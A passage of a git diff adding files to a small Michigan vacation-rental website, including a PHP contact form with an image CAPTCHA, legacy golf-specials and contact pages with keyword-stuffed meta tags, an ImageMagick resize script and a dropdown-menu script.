+$form->addRule(
+    'areacode', 
+    'Area Code Required!', 
+    'required', 
+    null, 
+    'client'
+);
+$form->addRule(
+    'emailaddress', 
+    'Email Required!', 
+    'required', 
+    null, 
+    'client'
+);
+ */
+$form->addRule(
+    'emailaddress', 
+    'Real email Required!', 
+    'email', 
+    null, 
+    'client'
+);
+
+// captchai setup
+$var = basename(__FILE__, '.php');
+$callbackUrl = BASE_URL;
+$options = array(
+    'width' => 100,
+    'height' => 50,
+    'callback' => "{$callbackUrl}qfcaptcha.php?var=$var",
+    'sessionVar' => $var,
+    'imageOptions' => array(
+        'font_size' => 20,
+        'font_path' => GLM_APP_BASE . 'glmPEAR/Image/Canvas/Fonts/',
+        'font_file' => 'times.ttf',
+        'background_color' => '#cccccc',
+        'obfuscation' => false,
+        'angle' => true,
+    ),
+);
+$captcha_question = $form->addElement(
+    'CAPTCHA_Image',
+    'captcha_question',
+    'Verification code',
+    $options
+);
+// check for PEAR error from captcha element
+if (PEAR::isError($captcha_question)) {
+    echo $captcha_question->getMessage();
+    exit;
+}
+// add as element
+$captcha_answer = $form->addElement(
+    'text', 
+    'captcha', 
+    'Enter the answer'
+);
+$captcha_answer = $form->addElement(
+    'text', 
+    'captcha_rmv', 
+    'Enter the answer'
+);
+// add form rule for captcha
+$form->addRule(
+    'captcha_rmv', 
+    'Enter the answer to the question', 
+    'CAPTCHA', 
+    $captcha_question, 
+    'server'
+);
+$form->addRule(
+    'captcha_rmv', 
+    'Enter the answer to the question', 
+    'required', 
+    null, 
+    'client'
+);
+
+// if form validates thet include the process form page
+if ($form->validate()) {
+    $validated = true;
+    //$captcha_question->destroy();
+    $form->freeze();
+
+    /**
+     * Description for include_once
+     */
+    include_once 'process_form.php';
+    echo 'Thank You for your request.';
+    // if the form is submitted (and not valide) hten error for captcha
+    // all other rules are client side
+    // captcha can only be set server side rule
+} else if ($form->isSubmitted()) {
+    $captcha_error = true;
+    $captcha_question->destroy();
+    $captcha_answer->setValue('');
+}
+
+// only show the form if it is not validate
+if (!$validated) {
+    $template = new HTML_Template_Flexy($flexyOptions);
+    $renderer = new HTML_QuickForm_Renderer_ObjectFlexy($template);
+    $form->accept($renderer);
+    $view = new stdClass;
+    $view->form = $renderer->toObject();
+    $view->form->captcha_error = $captcha_error;
+    $template->compile('letstalkgolf.html');
+    $template->outputObject($view);
+}
+
diff --git a/golfold.php b/golfold.php
new file mode 100755 (executable)
index 0000000..cbf3237
--- /dev/null
@@ -0,0 +1,290 @@
+<?php
+ require_once 'setup.phtml';
+require_once 'Text/CAPTCHA.php';
+require_once 'Text/CAPTCHA/Driver/Image.php';
+require_once 'HTML/QuickForm/CAPTCHA/Image.php';
+
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+?>
+<!-- saved from url=(0055)http://www.pineconevacations.com/letstalkgolf/index.htm -->
+<HTML><HEAD><META http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<META http-equiv="keywords" content="Gaylord, Michigan, snow, vacation rental, vacation travel, Northern Michigan,
+Gaylord Area, Northern MIchigan golf, golf mecca, Otsego County, Snowmobile around Gaylord, ski northern Michigan,
+Snowmobile in Michigan, trail maps, rentals, cabins, homes, condos, Michigan winter resorts and cabin Rentals on snowmobile trail system, Gaylord, northern
+Michigan MI information. Michigan winter cabins, snowmobile snowmobilings, Michigan MI open stay information where lake
+rental rent fishing hunting. Accommodation accommodations accommodation accomodatons cabin cabins cabins-cottages
+where information, pictures Michigan winter resorts, cabinscottages, cabins-cottages campground, cottage cottages
+cottages-cabins discount family getaway getaways home homes house winter resorts Michigan, houses list listing lodge
+lodges lodging lodgings, places properties property rates where rent rental rentals resort. Resorts travel vacaton
+vacations vaction about adult allowed area areas around big. By can cheap find for great handicap how info information
+located map near new owner names park private search small where bass beach. fish fishing forest forests hunting lake
+lakefront lakes lakeside. Little snowmobile cabins northeast northern. Northwest lower west western daily holiday
+honeymoon. Packages seasons short stay summer term weekend weekly winter city county state. Condominium condominimum
+homes golf golf packages snowshoeing cross country skiing downhill skiing snowmobile snowmobiling packages, Crosscountry-downhill
+gaylord michigan Golf Gaylord Gaylord Area Golf Northern Michigan Gaylord mi hotel Gaylord lodging Vaction rentals Gaylord
+Cain rental Gaylord Michigan ski packages northern michigan golf packages gaylord michigan golf packages northern michigan
+Acommodations gaylord michigan Vacation rental properties Vacation rental properties michigan fly fishing northern michigan
+fly fishing gaylord skiing northern Michigan condominiums gaylord michigan downhill ski packages gaylord cross country ski packages gaylord.">
+<META http-equiv="description" content="Michigan winter resorts and cabin rentals on snowmobile trail system, Gaylord,
+northern Michigan MI information. Michigan winter cabins, snowmobile, snowmobilings, Michigan MI open stay information where lake
+rental rent fishing hunting.">
+<META name="ROBOTS" content="ALL">
+<META name="distribution" content="global">
+<META name="revisit-after" content="7 days">
+<META name="rating" content="general">
+<META http-equiv="Cache-Control" content="no-cache">
+<META http-equiv="Pragma" content="no-cache">
+<META http-equiv="Content-Language" content="en-us">
+
+
+<TITLE>Golf Specials - Pine Cone Accommodations - Gaylord Michigan - Vacation Rental Properties Michigan</TITLE>
+<STYLE>
+A {color:#FFFFFF; text-decoration:none}
+A:hover {color:#000000}
+A:active {color:#472311}
+</STYLE>
+<script type="text/javascript" src="http://app.gaslightmedia.com/libjs/jquery-1.3.2.min.js"></script>
+<script type="text/javascript">
+$(document).ready(function(){
+    $("#appr").click(function(){
+        if (this.checked == true) {
+            $("#formSubmit").removeAttr("disabled");
+        } else {
+            $("#formSubmit").attr("disabled", "disabled");
+        }
+    });
+});
+</script>
+
+<SCRIPT language="JAVASCRIPT" type="TEXT/JAVASCRIPT">
+       <!-- Hide script from old browsers
+
+       function newWindow(boydgif) {
+               boydWindow = window.open(boydgif,'boydWin', 'width=400,height=250')
+               boydWindow.focus()
+       }
+
+       // End hiding script from old browsers -->
+       </SCRIPT>
+<!-- ImageReady Preload Script (oct09.psd) -->
+<SCRIPT type="text/javascript">
+<!--
+
+function newImage(arg) {
+       if (document.images) {
+               rslt = new Image();
+               rslt.src = arg;
+               return rslt;
+       }
+}
+
+function changeImages() {
+       if (document.images && (preloadFlag == true)) {
+               for (var i=0; i<changeImages.arguments.length; i+=2) {
+                       document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
+               }
+       }
+}
+
+var preloadFlag = false;
+function preloadImages() {
+       if (document.images) {
+               oct09_01_oct09_Vacation_Rentals_______Lodging_copy_over = newImage("images/oct09_01-oct09_Vacation-Ren.gif");
+               oct09_02_oct09_LetsTalkGolf_copy_over = newImage("images/oct09_02-oct09_LetsTalkGolf.gif");
+               oct09_02_oct09_View_All_Rentals_over = newImage("images/oct09_02-oct09_View-All-Ren.gif");
+               oct09_02_oct09_Area_Information_copy_over = newImage("images/oct09_02-oct09_Area-Informa.gif");
+               oct09_02_oct09_Winter_Specials_over = newImage("images/oct09_02-oct09_Winter-Speci.gif");
+               oct09_02_oct09_Golf___Lodging_Packages_____Ch_copy_over = newImage("images/oct09_02-oct09_Golf-%26-Lodgi.gif");
+               oct09_02_oct09_Vacation_Rentals_______Lodging_copy_over = newImage("images/oct09_02-oct09_Vacation-Ren.gif");
+               oct09_02_oct09_RentalRatesanddetails_copy_over = newImage("images/oct09_02-oct09_RentalRatesa.gif");
+               oct09_Vacation_Rentals_______Lodging_copy_over = newImage("images/oct09_Vacation-Rentals---13.gif");
+               oct09_06_oct09_LetsTalkGolf_copy_over = newImage("images/oct09_06-oct09_LetsTalkGolf.gif");
+               oct09_06_oct09_View_All_Rentals_over = newImage("images/oct09_06-oct09_View-All-Ren.gif");
+               oct09_06_oct09_Golf___Lodging_Packages_____Ch_copy_over = newImage("images/oct09_06-oct09_Golf-%26-Lodgi.gif");
+               oct09_06_oct09_RentalRatesanddetails_copy_over = newImage("images/oct09_06-oct09_RentalRatesa.gif");
+               oct09_LetsTalkGolf_copy_over = newImage("images/oct09_LetsTalkGolf-copy-ove.gif");
+               oct09_19_oct09_Winter_Specials_over = newImage("images/oct09_19-oct09_Winter-Speci.gif");
+               oct09_20_oct09_Winter_Specials_over = newImage("images/oct09_20-oct09_Winter-Speci.gif");
+               oct09_24_oct09_Real_Estate_For_Sale_copy_over = newImage("images/oct09_24-oct09_Real-Estate-.gif");
+               oct09_24_oct09_Home_Page_copy_over = newImage("images/oct09_24-oct09_Home-Page-co.gif");
+               oct09_24_oct09_Contact_Us_copy_over = newImage("images/oct09_24-oct09_Contact-Us-c.gif");
+               oct09_24_oct09_Map_Of_The_Area_copy_over = newImage("images/oct09_24-oct09_Map-Of-The-A.gif");
+               oct09_24_oct09_How_To_Get_Here_copy_over = newImage("images/oct09_24-oct09_How-To-Get-H.gif");
+               oct09_24_oct09_Area_Information_copy_over = newImage("images/oct09_24-oct09_Area-Informa.gif");
+               oct09_Area_Information_copy_over = newImage("images/oct09_Area-Information-c-49.gif");
+               oct09_27_oct09_How_To_Get_Here_copy_over = newImage("images/oct09_27-oct09_How-To-Get-H.gif");
+               oct09_28_oct09_Real_Estate_For_Sale_copy_over = newImage("images/oct09_28-oct09_Real-Estate-.gif");
+               oct09_28_oct09_Home_Page_copy_over = newImage("images/oct09_28-oct09_Home-Page-co.gif");
+               oct09_28_oct09_Contact_Us_copy_over = newImage("images/oct09_28-oct09_Contact-Us-c.gif");
+               oct09_28_oct09_Map_Of_The_Area_copy_over = newImage("images/oct09_28-oct09_Map-Of-The-A.gif");
+               oct09_28_oct09_How_To_Get_Here_copy_over = newImage("images/oct09_28-oct09_How-To-Get-H.gif");
+               oct09_How_To_Get_Here_copy_over = newImage("images/oct09_How-To-Get-Here-copy-.gif");
+               oct09_32_oct09_Real_Estate_For_Sale_copy_over = newImage("images/oct09_32-oct09_Real-Estate-.gif");
+               oct09_32_oct09_Contact_Us_copy_over = newImage("images/oct09_32-oct09_Contact-Us-c.gif");
+               oct09_32_oct09_Map_Of_The_Area_copy_over = newImage("images/oct09_32-oct09_Map-Of-The-A.gif");
+               oct09_Home_Page_copy_over = newImage("images/oct09_Home-Page-copy-over.gif");
+               preloadFlag = true;
+       }
+}
+
+// -->
+</SCRIPT>
+<!-- End Preload Script -->
+
+
+
+
+<style type="text/css">
+#nav-table {float:left;}
+A {color:#FFFFFF; text-decoration:none}
+A:hover {color:#000000}
+A:active {color:#472311}
+</style><SCRIPT language="JAVASCRIPT" type="TEXT/JAVASCRIPT">
+
+       <!-- Hide script from old browsers
+
+
+
+       function newWindow(boydgif) {
+
+               boydWindow = window.open(boydgif,'boydWin', 'width=540,height=530')
+
+               boydWindow.focus()
+
+       }
+
+
+
+       // End hiding script from old browsers -->
+
+       </SCRIPT></HEAD><BODY bgcolor="#E4D4C0" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="preloadImages();">
+
+    <DIV align="center"> 
+     
+      <CENTER> 
+           
+            <TABLE border="0" cellspacing="1" width="800" background="images/back2.jpg"> 
+                 
+                    <TR> 
+                         
+                              <TD width="50%"> 
+                                   
+                                          <P align="center"> 
+                                            <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="800" height="175" id="tech" align="middle"> 
+                                                        <param name="allowScriptAccess" value="sameDomain" /> 
+                                                                <param name="movie" value="letstalkgolf1.swf" /> 
+                                                                        <param name="quality" value="high" /> 
+                                                                                <embed src="letstalkgolf1.swf" quality="high" width="800" height="175" name="tech" align="middle" allowScriptAccess="sameDomain" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> 
+                                                                                    </object> 
+                                                                                            </TD> 
+                                                                                             
+                                                                                                </TR> 
+                                                                                                 
+                                                                                                    <TR> 
+                                                                                                         
+                                                                                                              <TD width="50%"> 
+                                                                                                                   
+                                                                                                                          <p align="center"><b><i> 
+                                                                                                                                        <font face="Times New Roman" size="4" color="#472311">Choose Lodging 
+                                                                                                                                                    From One of The Nearby Properties and Book Your Gaylord Golf Getaway 
+                                                                                                                                                            Today!</font></i></b></TD> 
+                                                                                                                                             
+                                                                                                                                                </TR> 
+                                                                                                                                                 
+                                                                                                                                                    </TABLE> 
+                                                                                                                                                     
+                                                                                                                                                      </CENTER> 
+                                                                                                                                                       
+                                                                                                                                                      </DIV> 
+<?php include 'navTable.html';?>
+<DIV align="center"> 
+    <center> 
+  <TABLE border="0" width="620" style="border-collapse: collapse" bordercolor="#111111" cellpadding="0"> 
+    <TR> 
+      <TD width="76%" valign="top"> 
+        <DIV align="center"> 
+          <TABLE border="0" cellspacing="1" width="100%"> 
+            <TR> 
+              <TD width="100%"> 
+                <P align="center"> 
+                               <img border="0" src="images/letstalkgolf_title.jpg" width="378" height="42"></TD> 
+            </TR> 
+            <TR> 
+              <TD width="100%"> 
+                <p align="center"> 
+                               <a style="color: #000000" href="letstalkgolf_map2.htm"> 
+                               <font face="Arial" size="2"> <b> 
+                  Click Here to </b></font> 
+                               <span style="font-family: Arial; font-weight: 700"> 
+                               <font size="2">view</font><font size="2" color="#000000"> the 
+                               &quot;Let's Talk Golf<sup>&reg;</sup>&quot; Map</font></span></a></TD> 
+            </TR> 
+            </TABLE> 
+        </DIV> 
+    <?php
+       require_once 'golfForm.php'; 
+    ?>
+</div> 
+</TR> 
+          <TR> 
+      <TD width="76%" valign="top"> 
+        <p align="center"><font color="#472311" size="2"><b>693 Charles Brink, P.O. Box 544, Gaylord,
+      Michigan 49734 ~
+      Phone: 989-731-1887 or Toll Free: 866-731-1887<br> 
+      Email:
+       <a style="color: #472311" href="mailto:rentals@pineconevacations.com"> 
+               Rentals@PineConeVacations.com</a></b></font></TR> 
+          </TABLE> 
+        </DIV> 
+       <P align="center"><FONT size="2">Copyright © 2009
+                                                       Pine Cone Accommodations All rights reserved.&nbsp;For any questions or comments
+                                                       email us at
+       </FONT><FONT color="#472311" size="2"><B>
+       <A style="color: #472311" href="mailto:rentals@pineconevacations.com">
+       Rentals@PineConeVacations.com</A></B></FONT></P>
+       <P align="left"><FONT size="1" color="#472311" face="Arial">
+       <A style="color: #472311; text-decoration: none" target="_blank" href="http://www.creativewebscapes.com/">
+       Site Designed &amp; Maintained By: Creative Webscapes, Inc.</A></FONT></P>
+
+
+
+       <P align="left"><FONT face="Arial" size="2" color="#E5D3C1">
+       <SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: Arial">gaylord michigan Golf
+       Gaylord Gaylord Area Golf Northern Michigan Gaylord mi hotel Gaylord lodging
+       Vacation rentals Gaylord Cain rental Gaylord Michigan<BR>
+       ski packages northern michigan golf packages gaylord michigan golf packages
+       northern michigan Acommodations gaylord michigan Vacation rental properties<BR>
+       Vacation rental properties michigan fly fishing northern michigan fly
+       fishing gaylord skiing northern Michigan condominiums gaylord michigan
+       downhill ski packages gaylord cross country ski packages gaylord</SPAN></FONT></P>
+
+
+
+
+
+
+
+</BODY></HTML>
diff --git a/images/back2.jpg b/images/back2.jpg
new file mode 100755 (executable)
index 0000000..83b4953
Binary files /dev/null and b/images/back2.jpg differ
diff --git a/images/file-ext/doc.png b/images/file-ext/doc.png
new file mode 100755 (executable)
index 0000000..a773c6b
Binary files /dev/null and b/images/file-ext/doc.png differ
diff --git a/images/file-ext/pdf.png b/images/file-ext/pdf.png
new file mode 100755 (executable)
index 0000000..e64037e
Binary files /dev/null and b/images/file-ext/pdf.png differ
diff --git a/images/file-ext/ppt.png b/images/file-ext/ppt.png
new file mode 100755 (executable)
index 0000000..7a3c898
Binary files /dev/null and b/images/file-ext/ppt.png differ
diff --git a/images/file-ext/txt.png b/images/file-ext/txt.png
new file mode 100755 (executable)
index 0000000..22e37ee
Binary files /dev/null and b/images/file-ext/txt.png differ
diff --git a/images/file-ext/xls.png b/images/file-ext/xls.png
new file mode 100755 (executable)
index 0000000..23a5a31
Binary files /dev/null and b/images/file-ext/xls.png differ
diff --git a/images/file-ext/zip.png b/images/file-ext/zip.png
new file mode 100755 (executable)
index 0000000..6b75d4d
Binary files /dev/null and b/images/file-ext/zip.png differ
diff --git a/images/grnball.gif b/images/grnball.gif
new file mode 100755 (executable)
index 0000000..5f7740b
Binary files /dev/null and b/images/grnball.gif differ
diff --git a/images/help.gif b/images/help.gif
new file mode 100755 (executable)
index 0000000..4915678
Binary files /dev/null and b/images/help.gif differ
diff --git a/images/html.gif b/images/html.gif
new file mode 100755 (executable)
index 0000000..21e8e85
Binary files /dev/null and b/images/html.gif differ
diff --git a/images/left.gif b/images/left.gif
new file mode 100755 (executable)
index 0000000..29d0ba1
Binary files /dev/null and b/images/left.gif differ
diff --git a/images/letstalkgolf_title.jpg b/images/letstalkgolf_title.jpg
new file mode 100755 (executable)
index 0000000..2cf6557
Binary files /dev/null and b/images/letstalkgolf_title.jpg differ
diff --git a/images/logo.gif b/images/logo.gif
new file mode 100755 (executable)
index 0000000..a75b39e
Binary files /dev/null and b/images/logo.gif differ
diff --git a/images/redball.gif b/images/redball.gif
new file mode 100755 (executable)
index 0000000..7005133
Binary files /dev/null and b/images/redball.gif differ
diff --git a/images/right.gif b/images/right.gif
new file mode 100755 (executable)
index 0000000..d66a1ca
Binary files /dev/null and b/images/right.gif differ
diff --git a/images/size.sh b/images/size.sh
new file mode 100755 (executable)
index 0000000..2471ec3
--- /dev/null
@@ -0,0 +1,13 @@
+#! /bin/bash
+convert='/usr/bin/convert'
+composite='/usr/bin/composite'
+
+for file in original/*
+do 
+       temp=`basename $file` 
+       $convert -scale '287>' $file resized/$temp
+       $convert -scale '210>' $file midsized/$temp
+       $convert -scale '120>' $file thumb/$temp
+
+       echo $temp 
+done
diff --git a/index-old.php b/index-old.php
new file mode 100755 (executable)
index 0000000..1c06cc6
--- /dev/null
@@ -0,0 +1,44 @@
+<?php
+include("setup.phtml");
+
+?>
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pnecone Vacations Contact Page</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<style type="text/css">
+<!-- 
+body {background: #E5D3C1; margin: 0; padding: 0; font-family: arial, helvetica, sans-serif; font-size: 12px;}
+#wrap {width: 750px; margin-left: auto; margin-right: auto;}
+#logo {display: block; margin-right: 10px;float: left; position: relative;}
+#wrap a img {border: 0; display: block;}
+#title {}
+#copy {font-size: 11px; text-align: center;}
+h1 {margin: 0;}
+p {margin: 0 0 1em 0;}
+
+-->
+</style>
+<link rel="stylesheet" type="text/css" href="contactform.css">
+</head>
+<body>
+<div id="wrap">
+       <a href="http://www.pineconevacations.com"><img src="assets/logopinetan120.jpg" width="127" height="120" alt="logopinetan120 (12K)" id="logo">
+       <img src="assets/title.jpg" width="589" height="54" alt="title (11K)" id="title"></a>
+       <h1>Contact Form</h1>
+       <a href="http://www.pineconevacations.com">Back to Homepage</a>
+       <p>Please use this contact form to get in touch with us.</p>
+       <div id="contact">
+               <?php
+               include("classes/class_contact_form.inc");
+               $contact = new contact_form();
+               ?>
+       </div>
+</div>
+<div id="copy">
+       Copyright&#169;2006, <a href="http://www.gaslightmedia.com" target="_blank">Gaslight Media</a>. All Rights Reserved
+</div>                 
+</body>
+</html>
diff --git a/index.php b/index.php
new file mode 100644 (file)
index 0000000..965aece
--- /dev/null
+++ b/index.php
@@ -0,0 +1,534 @@
+<?php
+ require_once 'setup.phtml';
+require_once 'Text/CAPTCHA.php';
+require_once 'Text/CAPTCHA/Driver/Image.php';
+require_once 'HTML/QuickForm/CAPTCHA/Image.php';
+
+HTTP_Session2::useCookies(false);
+HTTP_Session2::start();
+
+?>
+
+<HTML>
+
+<HEAD>
+<meta http-equiv="keywords" content="Gaylord, Michigan, snow, vacation rental, vacation travel, Northern Michigan,
+Gaylord Area, Northern MIchigan golf, golf mecca, Otsego County, Snowmobile around Gaylord, ski northern Michigan,
+Snowmobile in Michigan, trail maps, rentals, cabins, homes, condos, Michigan winter resorts and cabin Rentals on snowmobile trail system, Gaylord, northern
+Michigan MI information. Michigan winter cabins, snowmobile snowmobilings, Michigan MI open stay information where lake
+rental rent fishing hunting. Accommodation accommodations accommodation accomodatons cabin cabins cabins-cottages
+where information, pictures Michigan winter resorts, cabinscottages, cabins-cottages campground, cottage cottages
+cottages-cabins discount family getaway getaways home homes house winter resorts Michigan, houses list listing lodge
+lodges lodging lodgings, places properties property rates where rent rental rentals resort. Resorts travel vacaton
+vacations vaction about adult allowed area areas around big. By can cheap find for great handicap how info information
+located map near new owner names park private search small where bass beach. fish fishing forest forests hunting lake
+lakefront lakes lakeside. Little snowmobile cabins northeast northern. Northwest lower west western daily holiday
+honeymoon. Packages seasons short stay summer term weekend weekly winter city county state. Condominium condominimum
+homes golf golf packages snowshoeing cross country skiing downhill skiing snowmobile snowmobiling packages, Crosscountry-downhill
+gaylord michigan Golf Gaylord Gaylord Area Golf Northern Michigan Gaylord mi hotel Gaylord lodging Vaction rentals Gaylord
+Cain rental Gaylord Michigan ski packages northern michigan golf packages gaylord michigan golf packages northern michigan
+Acommodations gaylord michigan Vacation rental properties Vacation rental properties michigan fly fishing northern michigan
+fly fishing gaylord skiing northern Michigan condominiums gaylord michigan downhill ski packages gaylord cross country ski packages gaylord.">
+<meta http-equiv="description" content="Michigan winter resorts and cabin rentals on snowmobile trail system, Gaylord,
+northern Michigan MI information. Michigan winter cabins, snowmobile, snowmobilings, Michigan MI open stay information where lake
+rental rent fishing hunting.">
+<META NAME="ROBOTS" content="ALL">
+<meta name="distribution" content="global">
+<meta name="revisit-after" content="7 days">
+<meta name="rating" content="general">
+<meta http-equiv="Cache-Control" content="no-cache">
+<meta http-equiv="Pragma" content="no-cache">
+<meta http-equiv="Content-Language" content="en-us">
+<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<TITLE>Pine Cone Accommodations - Vacation Rentals - Snowmobiling Packages in 
+the Gaylord Otsego area in Michigan - Vacation Rental Properties Michigan</TITLE>
+<SCRIPT language="JavaScript" src="scripts/popup.js"></SCRIPT>
+<link rel="stylesheet" type="text/css" href="contactform.css">
+
+<style>
+BODY{
+scrollbar-arrow-color: #305315;
+scrollbar-face-color: #493715;
+scrollbar-shadow-color:#626A5A;
+scrollbar-track-color: #D6D6D6;
+scrollbar-3dlight-color: #543d35;
+scrollbar-highlight-color: #000000;
+scrollbar-shadow-color: #543d35;
+scrollbar-darkshadow-color: #000000;
+}
+</style>
+
+<style>
+A {color:#eedfce; text-decoration:none}
+A:hover {color:#FFFFFF}
+A:active {color:#AB4511}
+div.Section1
+       {page:Section1;}
+</style>
+<SCRIPT LANGUAGE=JAVASCRIPT TYPE="TEXT/JAVASCRIPT">
+       <!-- Hide script from old browsers
+
+       function newWindow(boydgif) {
+               boydWindow = window.open(boydgif,'boydWin', 'width=400,height=350')
+               boydWindow.focus()
+       }
+
+       // End hiding script from old browsers -->
+       </SCRIPT>
+
+<style type="text/css">
+
+#dropmenudiv{
+border-left:1px solid black; border-right:1px solid black; border-top:1px solid black; border-bottom:0px solid black; position:absolute;
+line-height:18px;
+z-index:100; font-style:Arial; font-variant:normal; font-weight:normal; font-size:10pt; font-family:Arial
+}
+
+#dropmenudiv a{
+width: 100%;
+display: block;
+text-indent: 3px;
+background: brown;
+border-bottom: 1px solid black;
+padding: 1px 0;
+text-decoration: underline;
+font-weight: bold;
+}
+
+#dropmenudiv a:hover{ /*hover background color*/background-color: 543d35;}
+
+</style>
+
+<script type="text/javascript">
+
+/***********************************************
+* AnyLink Drop Down Menu- © Dynamic Drive (www.dynamicdrive.com)
+* This notice MUST stay intact for legal use
+* Visit http://www.dynamicdrive.com/ for full source code
+***********************************************/
+
+//Contents for menu 1
+var menu1=new Array()
+menu1[0]='<a href="http://www.pineconevacations.com/vacationrentals.htm">View All Rentals</a>'
+menu1[1]='<a href="http://www.pineconevacations.com/rentalrates.htm">Rental Rates</a>'
+menu1[2]='<a href="http://www.pineconevacations.com/vacationr-golffront.htm">Golf Front Units</a>'
+menu1[3]='<a href="http://www.pineconevacations.com/vacationr-lakefrontoraccess.htm">Lake Front/Lake Access</a>'
+menu1[4]='<a href="http://www.pineconevacations.com/vacationr-1-3bedrooms.htm">Featuring 1-3 bedrooms</a>'
+menu1[5]='<a href="http://www.pineconevacations.com/vacationr-4+bedrooms.htm">Featuring 4+ bedrooms</a>'
+menu1[6]='<a href="http://www.pineconevacations.com/vacationr-fireplaces.htm">Featuring Fireplaces</a>'
+menu1[7]='<a href="http://www.pineconevacations.com/vacationr-hottubs.htm">Featuring Hot Tubs</a>'
+menu1[8]='<a href="http://www.pineconevacations.com/vacationr-pooltables.htm">Featuring Pool Tables</a>'
+
+
+//Contents for menu 2
+var menu2=new Array()
+menu2[0]='<a href="http://contact.pineconevacations.com/golf.php">Lets Talk Golf</a>'
+menu2[1]='<a href="http://www.pineconevacations.com/Snowmobiling.htm">Winter Specials</a>'
+menu2[2]='<a href="http://www.pineconevacations.com/links.htm">Favorite Links</a>'
+
+//Contents for menu 3
+var menu3=new Array()
+menu3[0]='<a href="http://www.pineconevacations.com/areaofinformation.htm">Area Information</a>'
+menu3[1]='<a href="http://www.pineconevacations.com/directions.htm">How To Get Here</a>'
+menu3[2]='<a href="http://www.pineconevacations.com/map.htm">Map Of The Area</a>'
+menu3[3]='<a href="http://www.pineconevacations.com/festivals.htm">Upcoming Festivals</a>'
+menu3[4]='<a href="http://www.pineconevacations.com/links.htm">Favorite Links</a>'
+menu3[5]='<a href="http://contact.pineconevacations.com/">Contact Us</a>'
+menu3[6]='<a href="http://www.pineconevacations.com/realestate.htm">Real Estate For Sale</a>'
+
+//Contents for menu 4
+var menu4=new Array()
+menu4[0]='<a href="http://www.pineconevacations.com/pineconeinn/index.html">The Inn</a>'
+
+
+
+               
+var menuwidth='165px' //default menu width
+var menubgcolor='baa994'  //menu bgcolor
+var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
+var hidemenu_onclick="yes" //hide menu when user clicks within menu?
+
+/////No further editting needed
+
+var ie4=document.all
+var ns6=document.getElementById&&!document.all
+
+if (ie4||ns6)
+document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" 
+onMouseout="dynamichide(event)"></div>')
+
+function getposOffset(what, offsettype){
+var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
+var parentEl=what.offsetParent;
+while (parentEl!=null){
+totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
+parentEl=parentEl.offsetParent;
+}
+return totaloffset;
+}
+
+
+function showhide(obj, e, visible, hidden, menuwidth){
+if (ie4||ns6)
+dropmenuobj.style.left=dropmenuobj.style.top="-500px"
+if (menuwidth!=""){
+dropmenuobj.widthobj=dropmenuobj.style
+dropmenuobj.widthobj.width=menuwidth
+}
+if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
+obj.visibility=visible
+else if (e.type=="click")
+obj.visibility=hidden
+}
+
+function iecompattest(){
+return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
+}
+
+function clearbrowseredge(obj, whichedge){
+var edgeoffset=0
+if (whichedge=="rightedge"){
+var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
+dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
+if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
+edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
+}
+else{
+var topedge=ie4 && !window.opera? iecompattest().scrollTop : window.pageYOffset
+var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
+dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
+if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure){ //move up?
+edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
+if ((dropmenuobj.y-topedge)<dropmenuobj.contentmeasure) //up no good either?
+edgeoffset=dropmenuobj.y+obj.offsetHeight-topedge
+}
+}
+return edgeoffset
+}
+
+function populatemenu(what){
+if (ie4||ns6)
+dropmenuobj.innerHTML=what.join("")
+}
+
+
+function dropdownmenu(obj, e, menucontents, menuwidth){
+if (window.event) event.cancelBubble=true
+else if (e.stopPropagation) e.stopPropagation()
+clearhidemenu()
+dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
+populatemenu(menucontents)
+
+if (ie4||ns6){
+showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
+dropmenuobj.x=getposOffset(obj, "left")
+dropmenuobj.y=getposOffset(obj, "top")
+dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
+dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
+}
+
+return clickreturnvalue()
+}
+
+function clickreturnvalue(){
+if (ie4||ns6) return false
+else return true
+}
+
+function contains_ns6(a, b) {
+while (b.parentNode)
+if ((b = b.parentNode) == a)
+return true;
+return false;
+}
+
+function dynamichide(e){
+if (ie4&&!dropmenuobj.contains(e.toElement))
+delayhidemenu()
+else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
+delayhidemenu()
+}
+
+function hidemenu(e){
+if (typeof dropmenuobj!="undefined"){
+if (ie4||ns6)
+dropmenuobj.style.visibility="hidden"
+}
+}
+
+function delayhidemenu(){
+if (ie4||ns6)
+delayhide=setTimeout("hidemenu()",disappeardelay)
+}
+
+function clearhidemenu(){
+if (typeof delayhide!="undefined")
+clearTimeout(delayhide)
+}
+
+if (hidemenu_onclick=="yes")
+document.onclick=hidemenu
+
+</script>
+
+</HEAD>
+
+
+
+
